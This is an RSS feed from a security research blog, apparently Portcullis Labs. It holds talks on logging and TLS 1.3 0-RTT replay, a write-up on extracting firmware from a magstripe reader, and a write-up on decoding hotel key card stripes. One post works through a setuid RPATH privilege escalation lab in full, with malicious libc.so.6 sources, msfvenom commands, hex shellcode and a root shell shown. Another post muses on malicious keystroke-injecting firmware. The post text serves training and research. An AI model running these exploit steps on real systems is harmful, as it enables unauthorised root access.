Portcullis Labs https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 The importance of logs: You won’t see what you don’t log https://labs.portcullis.co.uk/presentations/the-importance-of-logs-you-wont-see-what-you-dont-log/ https://labs.portcullis.co.uk/presentations/the-importance-of-logs-you-wont-see-what-you-dont-log/#comments Wed, 31 Oct 2018 12:36:40 +0000 https://labs.portcullis.co.uk/?p=6793 Presentation on logging and auditing strategies (as given at Secure South West 11). Building on my blog post on Cisco’s security blog entitled The Importance of Logs, I put together a presentation that picks apart some of the practical aspects of building a successful logging capability focusing on the need to document “good” and curate […]

The post The importance of logs: You won’t see what you don’t log appeared first on Portcullis Labs.

]]>
Presentation on logging and auditing strategies (as given at Secure South West 11).

Building on my blog post on Cisco’s security blog entitled The Importance of Logs, I put together a presentation that picks apart some of the practical aspects of building a successful logging capability focusing on the need to document “good” and curate “bad”.

The purpose of this talk is not to help you build a SOC in 30 minutes, rather it looks at how logging can go wrong and how to plan in order to get it right. The talk includes some composite case studies which highlight some of the challenges that we’ve seen over the years (particularly when responding in customer breaches) and makes some suggestions on where interested organisations should focus their efforts next.

SSWTIOLYWSWYDL
SSWTIOLYWSWYDL.pdf
October 31, 2018
463.7 KiB
MD5 hash: 390c1d8b29e74f2c15df434b4d0d9f99
Details

The post The importance of logs: You won’t see what you don’t log appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/the-importance-of-logs-you-wont-see-what-you-dont-log/feed/ 0
SetUID program exploitation: Crafting shared object files without a compiler https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/ https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/#comments Wed, 31 Oct 2018 12:18:59 +0000 https://labs.portcullis.co.uk/?p=6581 In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post […]

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post on setUID exploitation.

A hacker challenge gone wrong

A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:

$ cat arp-ath.c
#include <stdio.h>
int main(void) {
 printf("Hello world\n");
}
$ gcc -Wl,-rpath,. -o arp-ath arp-ath.c
# chmod 4755 arp-ath

The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:

$ ./arp-ath
Hello world
$ ldd arp-ath
 linux-vdso.so.1 => (0x00007fff0a3fd000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)

The vulnerability lies in the fact the program seaches the current directory for its libraries:

$ readelf -a arp-ath | grep -i path
0x000000000000000f (RPATH) Library rpath: [.]

(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:

$ touch libc.so.6
$ ./arp-ath
./arp-ath: error while loading shared libraries: ./libc.so.6: file too short

This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.

The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.

What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.

Problems compiling a replacement libc.so.6 on 64-bit Linux

I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.

Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).

$ cat exploit1.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -o libc.so.6 exploit1.c
$ ldd ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
linux-vdso.so.1 (0x00007ffeea77d000)
libc.so.6 => ./libc.so.6 (0x00007f50430f9000)
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…

$ cat version
GLIBC_2.2.5{};
$ cat exploit2.c
#include <stdlib.h>

void __cxa_finalize (void *d) {
 return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c
$ ./arp-ath
./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

Hmm. More errors.

Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: error: ld returned 1 exit status

If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.

I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…

So just use metasploit, then?

I had a quick go at generating a shared object file with msfvenom:

msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5

This was awfully familiar. I didn’t grapple much more with msfvenom after this.

Patching shellcode into a copy of libc.so.6

I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.

I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):

$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 55 bytes
Final size of hex file: 110 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05

Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ objdump -FD libc.so.6 | grep _main
00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0):
...

Using a hexeditor I pasted in the shellcode.

</span>
<pre>$ hexedit libc.so.6
Use CTRL-G to seek to the offset in the file
image-6582

Use CTRL-G to seek to the offset in the file

(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)

Shellcode pasted over existing code
image-6583

Shellcode pasted over existing code

$ ./arp-ath
# id
uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)

Finally! :-)

And this works on AIX too?

I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.

Conclusion

The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/feed/ 0
Playback: A TLS 1.3 story https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/ https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/#comments Mon, 13 Aug 2018 06:28:32 +0000 https://labs.portcullis.co.uk/?p=6781 Presentation on 0-RTT in TLS 1.3 (as given at DEF CON 26 and Black Hat 2018). TLS 1.3 is the new secure communication protocol that should be already with us. One of its new features is 0-RTT (Zero Round Trip Time Resumption) that could potentially allow replay attacks. This is a known issue acknowledged by […]

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
Presentation on 0-RTT in TLS 1.3 (as given at DEF CON 26 and Black Hat 2018).

TLS 1.3 is the new secure communication protocol that should be already with us. One of its new features is 0-RTT (Zero Round Trip Time Resumption) that could potentially allow replay attacks. This is a known issue acknowledged by the TLS 1.3 specification, as the protocol does not provide replay protections for 0-RTT data, but proposed countermeasures that would need to be implemented on other layers, not at the protocol level. Therefore, the applications deployed with TLS 1.3 support could end up exposed to replay attacks depending on the implementation of those protections.

This talk will describe the technical details regarding the TLS 1.3 0-RTT feature and its associated risks. It will include Proof of Concepts (PoC) showing real-world replay attacks against TLS 1.3 libraries and browsers. Finally, potential solutions or mitigation controls would be discussed that will help to prevent those attacks when deploying software using a library with TLS 1.3 support.

Tools referenced in this talk include:

Us-18-GarciaAlguacil MurilloMoya-Playback A TLS 1.3 Story  V6
2.6 MiB
MD5 hash: c56f49adfbda571c9c32f5860d6f9319
Details

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/feed/ 0
Playback: A TLS 1.3 story https://labs.portcullis.co.uk/blog/playback-a-tls-1-3-story/ https://labs.portcullis.co.uk/blog/playback-a-tls-1-3-story/#comments Wed, 08 Aug 2018 14:00:00 +0000 https://labs.portcullis.co.uk/?p=6776 Secure communications are one of the most important topics in information security and the Transport Layer Security (TLS) protocol is currently the most used protocol to provide secure communications on Internet. For example, when you are connecting to your online banking application, your favorite instant message application or social networks, all those communications are being […]

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
Secure communications are one of the most important topics in information security and the Transport Layer Security (TLS) protocol is currently the most used protocol to provide secure communications on Internet. For example, when you are connecting to your online banking application, your favorite instant message application or social networks, all those communications are being transmitted using TLS. With TLS the information sent by the browser and the service is secured and encrypted, meaning that the information cannot be modified or tampered with by an attacker. Moreover the communications are verified to ensure that the browser is connected to the right endpoint (e.g. Wikipedia).

TLS was born as a substitute of the ancient Secure Sockets Layer (SSL) protocol, which was showing its age and being susceptible to multiple attacks. The first version of TLS, 1.0, was created in 1999 and it was based on SSLv3. Since then TLS 1.1 (2006) and TLS 1.2 (2008) were created to improve previous versions of the protocol, solving some of the security weaknesses that security researchers discovered in the last two decades.

TLS 1.3 is the new protocol version. It is not officially released yet, but it is in the final stage, just waiting for the final approval. In any case, some important vendors and open source projects are currently supporting it. The TLS 1.3 Working Group released multiple iterations (drafts) that refined and improved the protocol in the last four years. One of the outcomes of that hard work is that TLS 1.3 has been simplified compared to previous versions of the protocol and it is not vulnerable to previous known attacks that were affecting previous versions. For example, in TLS 1.2 the number of ciphers supported was high, maybe there were too many, and the Working Group has decided to limit this new version to support only five ciphers. Another example is that with TLS 1.3, forward secrecy is not optional, so, in the case that an attacker manages to steal the private keys of one server, he will not be able to decrypt previous communications as he would not be able to obtain the session keys used to encrypt previous messages.

TLS 1.3 has also introduced a new feature to improve the performance for new connections. The name of this feature is 0-RTT (Zero Round Trip Time Resumption) and it allows to have a fast session resumption that can push data to the server without needing to wait for a server confirmation. This is possible as 0-RTT reuses cryptographic information obtained in the first connection to the server. The following diagram shows how TLS 1.3 0-RTT resumption works:

0RTT handshake state diagram
image-6777

0RTT handshake state diagram

This is an interesting functionality from the point of view of the performance, but it has some known security implications.

Cisco security consultants Alfonso Garcia Alguacil and Alejo Murillo Moya will deliver a presentation about some of the known security implications of using 0-RTT and will show Proof of Concepts (PoCs) of some attacks in real world environments. The intent is to raise awareness across the security community about that new feature. The presentation is named “Playback: A TLS 1.3 story” and it will be presented at Black Hat USA 18 and DEF CON 26. Attendees will learn about TLS 1.3 0-RTT, see some examples about how an attacker could take advantage of that new feature and finally get an understanding of the security implications of enabling the featu

You can find the slides and tool from this presentation here:

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/playback-a-tls-1-3-story/feed/ 0
Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/ https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/#comments Fri, 20 Jul 2018 08:00:27 +0000 https://labs.portcullis.co.uk/?p=6583 In my previous post, I worked around the fact that the card reader could only read credit cards – when I wanted to read other types of magstripes. I’d thought at the time that it would theoretically be possible to replace the firmware. In this post I don’t get as far as writing new firmware, […]

The post Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) appeared first on Portcullis Labs.

]]>
In my previous post, I worked around the fact that the card reader could only read credit cards – when I wanted to read other types of magstripes. I’d thought at the time that it would theoretically be possible to replace the firmware. In this post I don’t get as far as writing new firmware, but I to present an easy way to download and upload firmware: The ST-Link v2 USB device (hardware) and associated ST-Link Utility (software).

Inspiration

I’d been watching YouTube videos about microcontrollers, when I stumbled across How to Set up the ST-Link v2 Programmer Tutorial for ARM Microcontrollers. I hadn’t come across this method of programming microcontrollers before. Previously, I’d only programmed my Arduino via UART.

I got straight on eBay and bought a programmer from a local supplier, so it would arrive quickly. The same thing is also available for about £2 from China.

ST-Link v2 on eBay
image-6584

ST-Link v2 on eBay

Pinout

The chip I wanted to program/read was the STM32F102C8 from my cheap magstripe reader:

Chip on card reader
image-6585

Chip on card reader

The datasheet (pdf) showed the pinout information I needed:

Pinout from STM32 datasheet
image-6586

Pinout from STM32 datasheet

The pins I needed to locate were the Serial Wire Debug (SWD) pins. Specifically SWDIO and SWCLK:

Locations of SWDIO/SWCLK pins
image-6587

Locations of SWDIO/SWCLK pins

Marking up the previous diagrams, we have identified the pins we need:

Location of the pins we need
image-6588

Location of the pins we need

Pin locations marked
image-6589

Pin locations marked

In case you’re wondering, if you connect your oscilloscope to the SWDIO and SWCLK pins while the device is powered up, you don’t see any signals. But this doesn’t mean the pins are disabled – as we’ll show below.

Soldering

After successfully soldering some enamelled copper wire to the pins, then almost ripping the pins off accidentally, I used some hot clue as strain relief. The other end of the wire was connected to some 0.1″ headers so I could use dupont cables to connect to the ST-Link.

Connections soldered to pins
image-6590

Connections soldered to pins

I was pretty pleased with my soldering as it was the first time I’d soldered to pins with such fine pitch. I found that by tinning the wire very slightly, then resting the wire on the pin as I gently lowered the soldering iron (no solder on the iron), I was able to avoid spreading solder onto the nearby pins.

Connecting to ST-Link

Using dupont connectors we need to make 3 connections between the ST-Link device and the target board: SWDIO, SWCLK and Ground. The ST-Link clearly labels the various pins:

ST-Link and magstripe reader connected
image-6591

ST-Link and magstripe reader connected

Below the required connections have been made using the Black (SWDIO), Grey (SWCLK) and White (ground) connectors – though it’s hard to see and a bit confusing because of all the unrelated wires:

Relevant connections highlighted between ST-Link and target
image-6592

Relevant connections highlighted between ST-Link and target

Now we just need to load up the software and connect using the button shown below:

Connect button
image-6593

Connect button

Then we can read the firmware. I tweaked the start address and length to values that seemed to get me the whole firmware. The start address can be either 0×00000000 or 0×8000000:

Successful Firmware Read
image-6594

Successful firmware read

To save to a file (always good to have a backup), use the button shown:

Save Firmware To a .bin file
image-6595

Save firmware to a .bin File

Once the file has been saved, it can be written back using the “Program Verify” button:

Button to Program Target with a Local .bin File
image-6596

Button to program target with a local .bin File

Programming Options
image-6597

Programming options

After writing, I reset the magstripe reader to check it still worked. It did.

So, with very little effort we were able to read and write firmware to the device.

Conclusion

YouTube videos can be educational as well as fun. Sometimes, reading the firmware can be a lot easier than you’d ever expect. Checking if pins are active using only an oscilloscope wasn’t appropriate in this instance. We actually needed to try communicating with the device.

Where next?

If I was minded to create something rather than to take things apart all the time, I’d probably connect the STM32 to my Arduino software and see if I could write a sketch to read the input pins that connect to the magnetic read heads (via the op amps). Then I’d figure out to do HID emulation (as the original firmware did) so I could read arbitrary magstripes rather than just payment cards.

I got as far as tracing out the 3 input pins using the continuity testing feature on my multimeter.

I was also interested to know if I could have figured out the input pins from looking at the firmware. I loaded up the firmware in Hopper – which was surprisingly easy. But haven’t yet understood it to the extent where I could figure out input pins used. Apparently the assembler code to read of each pin is pretty distinctive, so this certainly seems possible to search for – once you’ve understood the datasheet enough to know what to search for exactly. Checkout 4m30s onwards in this LiveOverflow YouTube video.

It might be possible to write some nefarious firmware that seems to operate as normal, but secretly logs card numbers to the internal flash. Alternatively, maybe it just waits until midnight before it plays a load of malicious keystrokes to the host computer. Or maybe it only plays malicious keystrokes out when an attacker’s creditcard is swiped.

You might want to check out the stm32duino / Blue Pill, which uses the same family of microprocessors and the Pill Duck project which is essentially a USB Rubber Ducky type device that uses the Blue Pill hardware. Take care when Googling for blue pills, though.

The post Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/feed/ 0
Reading hotel key cards with a credit card magstripe reader https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/ https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/#comments Wed, 04 Jul 2018 06:01:58 +0000 https://labs.portcullis.co.uk/?p=6481 In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted […]

The post Reading hotel key cards with a credit card magstripe reader appeared first on Portcullis Labs.

]]>
In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted to open up the cheap magstripe reader, probed around a bit and found a way to read the raw data off the hotel magstripes. What that data means remains a mystery so there may be a part 2 at some stage.

About my magstripe reader

I bought the following reader for £11.85 in 2017:

Cheap reader from eBay
image-6482

Cheap reader from eBay

It connects via USB and is detected as a keyboard. If you swipe a credit/debit card through the reader, the corresponding data from the magstripe will appear if your text editor as if it had been typed. If you don’t have a text editor open at the time, you’ll get the effect of whatever the keystrokes on the magstripe reader are!

It works fine under both Windows and Linux. But only for credit/debit cards. When I swiped a hotel key card through, I got no data at all.

Why not just get a different reader?

I could have taken a couple of different (and no doubt better) approaches to this project. Finding a better magstripe reader was one option. Googling around to better understand hotel magstripes would have no-doubt been fruitful, but potentially spoils some of problem solving. I can always google later when I’m properly stuck. :-)

I since invested in an MSR605X reader/writer. I haven’t played with it much yet, but it is able to do raw reads. I’ll probably cover this reader in a future post.

Plan for the cheap reader

I figured that the magnetic read head in the cheap reader would almost certainly be able to read the data from from hotel cards or any other card with a magstripe. But the rest of the reader was only able to interpret payment card data. If I could probe the electrical signals in the right place within the reader, I should be able to see the 1′s and 0′s on the magstripe.

Magnetic read head inside card reader
image-6483

Magnetic read head inside card reader

I was a vague plan and certainly not the path of least resistance, but would ultimately work…

Probing around

I had two tools at my disposal to probe with (this was a home-based side project as opposed to an office-based project):

  • A cheap handheld Oscilloscope (Sainsmart DS202)
  • A Saleae logic analyzer

I quickly realized there were 7 points on the read head I could attach probes to.

Connection points on back of read head
image-6484

Connection points on back of read head

I figured if hooked the read head directly up to my scope, I’d be able to see an analogue signal when I swiped a card. Ultimately I hoped to do something with said signal to get the data I wanted.

Connections for scope soldered directly to read head
image-6485

Connections for scope soldered directly to read head

I tried hooking up various pairs from these 7 probe points to my scope, but didn’t find any signal at all. Maybe the signal’s too weak, or maybe (in retrospect) I did a rubbish job of identifying a suitable ground.

By this point I’d started googling the chip numbers. There were 2 x Op Amps and 1 x Analogue Comparator:

2 x Op Amps
image-6486

2 x Op Amps

Analogue Comparator (left); STM32 Microcontroller (right)
image-6487

Analogue Comparator (left); STM32 Microcontroller (right)

These chips were responsible for amplifying the signal from the read head. So if hooked up to the output of each, I might see a signal I could use to determine the data on the magstripes. I use the datasheets to identify the output pins of each IC.

The output from the 2 x Op Amps was about 0.5 – 0.6v peak-to-peak. Easily viewable using my scope, but I’d be unable to feed this into my logic analyser. I’d need about 3v peak-to-peak for that. The signal was also quite scruffy looking. Not the nice square wave I’d hoped for.

The output from the analogue comparator was exactly what I was after. A nice 3 or 4v peak-to-peak square wave that appeared only when I swiped a card. There were 4 outputs from the comparator. One never produced a signal. This seemed reasonable for a read head that could read 3-track magstripes. Time to feed this into the logic analyser and start figuring what constituted a 0 or 1…

1′s and 0′s

Progress had been quite fast up to this point. This was shaping up to be an interesting project.

Here’s the output from the comparator viewed in the Saleae Logic software:

Comparator output viewed via logic analyser
image-6488

Comparator output viewed via logic analyser

Note that we’re only seeing 1 square wave, not 3. This is because this particular card only has data on 1 of the 3 tracks.

So we have a signal to analyse, but we don’t have 1′s and 0′s yet.

Phrack37 from 1992 helps us with that:

ASCII art explanation of how 1' class=
image-6489

ASCII art explanation of how 1′s and 0′s are encoded on a magstripe

Essentially a 0 and 1 are both the same length when encoded. A 1 changed state half way through and a 0 doesn’t. Note that the 0 can be either high or low.

Rather than decode the 1′s and 0′s by eye, I wrote a Python script that parsed the exported data from the logic analyzer and dumped the 1′s and o’s. Here’s the format used by “Logic” (the Saleae software) when exporting to CSV:

Format used in CSV export from Saleae' class=
image-6490

Format used in CSV export from Saleae’s Logic software

The Python code turned out to be a pain to write because the baud rate of the data wasn’t constant. It varies depending on how fast the card is moving past the read head. I took a few wrong turns when coding this up, but eventually found a solution that worked.

Here’s a scatter graph that shows that the duration of square wave pulse doesn’t have exactly 2 values as expected. Instead a wide range of values are seen. It’s still possible to tell 0′s (long pulses, green dots) from 1′s (short pulses, blue/purple dots) – see top graph. The ratio of each successive pulse to the last was a better way to tell o’s from 1′s – see bottom graph:

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected
image-6491

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected

And finally, the bytes / characters

This is where my problems started. My whole life, bits have made bytes. Specifically they’ve made 8-bit bytes. This is not the case on magstripes, it turned out.

As mentioned in the phrack paper, credit cards use 2 tracks, one where characters are composed of 5 bits (4 bits + 1 parity) and another where characters are composed of 7 bits (6 bits + 1 parity).

I spent quite a bit of time coding up a decoder for credit cards. Partly because I needed to be assured that I’d read the 1′s and o’s correctly and partly because I thought I’d need the code to see if the same character types were used in hotel cards.

One of the challenges in coding this up was knowing where the data started and the preamble ended. It seems that “sentinels” are used to mark the start/end of the data. These are special characters (bit patterns) that readers can look for at the start and end of a stripe… then it made sense. This is why the card reader only worked for credit cards! The firmware is looking for the sentinels used by credit cards. It can’t decode the hotel cards because it’s not obvious where the data starts or ends; or what constitutes a character. Also, perhaps lack a valid Longitudinal Redundancy Check (LRC).

Identifying characters on hotel magstripes

I ran my credit-card code over the hotel mag stripes to see if there was odd parity with all the 5 bit chunks or all the 7 bit chunks. No, unfortunately not. Another reason the cheap magstripe reader probably failed.

Then I ran some frequency analysis on the 1′s and 0′s. Maybe a lot of the 5-bit chunks are all the same value? Or the 7-bit chunks? I’d see something similar on the credit card magstripe. There were 20 spaces on the 7-bit magstripe. So, using frequency analysis, I should have been able to guess 7-bit characters were being used.

By splitting some of the hotels magstripe data into 8-bit chunks, we notice that the same string of 1′s and 0′s occurs many more times than you’d expect. So my best guess is that 8-bit characters are used.

Below is some example output from my Python script. Not that it outputs:

  • Raw bits
  • Strings (with hex dumps) that would be right if 5-bit, 6-bit, 7-bit or 8-bit characters were used. Though “correctness” depends on parity, bit order and what character set the bit values map to. Plenty of room for error and improvement here
  • Checks for odd/even parity within characters
  • Frequency analysis looking for common characters – for varying character lengths
[+] Parsing file export.csv
 [-] Flips in channel 0: 3
 [-] Flips in channel 1: 1652
 [-] Flips in channel 2: 3
[+] Analysing swipes
 [-] Channel 0:
 [-] Channel 1:
 [-] Swipe 0: 693 bits
 [-] Swipe 1: 701 bits
 [-] Channel 2:
[+] Creating Plots
 [-] creating plots with dimensions (1637, 1637), (1637, 1637)
 [-] saving plot to file: export.csv-plot-channel-1.png
----------------------- CHANNEL 1 SWIPE 0 -----------------------
[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)
[+] Data: 10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001
[+] Strings:
 [-] 5 bit: 5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6
 [-] length: 53
 [-] hex: 
 35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<
 34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d 43:>62<3539<;><=
 34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3
 36 3d 31 3a 36 6=1:6
[-] 6 bit: E(1C&amp;,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,
 [-] length: 38
 [-] hex: 
 45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&amp;,9RD(1CFM92
 3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP
 4c 57 38 4d 34 2c LW8M4,
[-] 7 bit: %..#...2$..#&amp;-.....3.'..$....$-0,7.-.
 [-] length: 37
 [-] hex: 
 25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..#...2$..#&amp;-..
 1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0
 2c 37 18 2d 14 ,7.-.
[-] 8 bit: .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....&amp;}.. &amp;f..$..5.e..@
 [-] length: 34
 [-] hex: 
 a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6 .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....
 26 7d bc f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &amp;}.. &amp;f..$..5.e.
 a6 40 .@
[+] Parity for 5 bit chars: odd: False, even: False)
[+] Parity for 6 bit chars: odd: False, even: False)
[+] Parity for 7 bit chars: odd: False, even: False)
[+] Parity for 8 bit chars: odd: False, even: False)
[+] Frequency analysis for potential char lengths:
 [-] 5 bits:
 10011: 5
 11000: 4
 01100: 4
 00110: 4
 00100: 4
 [-] 6 bits:
 100110: 5
 100010: 5
 011000: 5
 011001: 4
 001001: 4
 [-] 7 bits:
 1000100: 3
 0010011: 3
 1101100: 2
 1100010: 2
 1011010: 2
 [-] 8 bits:
 00100110: 12 < common 8-bit patter implies 8-bit chars?
 10100110: 3
...snip...

The above data is from an actual hotel card (though the hotel as since switched to using RFID locks).

I also started to look at XORing, rotating of characters (rot13 style), bit order and offsetting the whole stream of bits (in case I started at the wrong place when chunk the character up). All to no avail as yet.

That’s as far as I got. I’ll be sure to post again if I ever decode any of the data on the card. I was hoping to see my room number and checkout date in cleartext. But equally an opaque encrypted string wouldn’t surprise me either – which could be what I’m seeing on at least some of the cards.

Conclusion

Doing things the cheap and time-consuming way can be fun – and a good opportunity to write code, learn about matplotlib and dust off the logic analyser.

Further reading/viewing

If you want to know more about magstripes (before they become completely obsolete), take a look at:

I was pretty inspired by these projects.In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted to open up the cheap magstripe reader, probed around a bit and found a way to read the raw data off the hotel magstripes. What that data means remains a mystery so there may be a part 2 at some stage.

About my magstripe reader

I bought the following reader for £11.85 in 2017:

Cheap reader from eBay
image-6482

Cheap reader from eBay

It connects via USB and is detected as a keyboard. If you swipe a credit/debit card through the reader, the corresponding data from the magstripe will appear if your text editor as if it had been typed. If you don’t have a text editor open at the time, you’ll get the effect of whatever the keystrokes on the magstripe reader are!

It works fine under both Windows and Linux. But only for credit/debit cards. When I swiped a hotel key card through, I got no data at all.

Why not just get a different reader?

I could have taken a couple of different (and no doubt better) approaches to this project. Finding a better magstripe reader was one option. Googling around to better understand hotel magstripes would have no-doubt been fruitful, but potentially spoils some of problem solving. I can always google later when I’m properly stuck. :-)

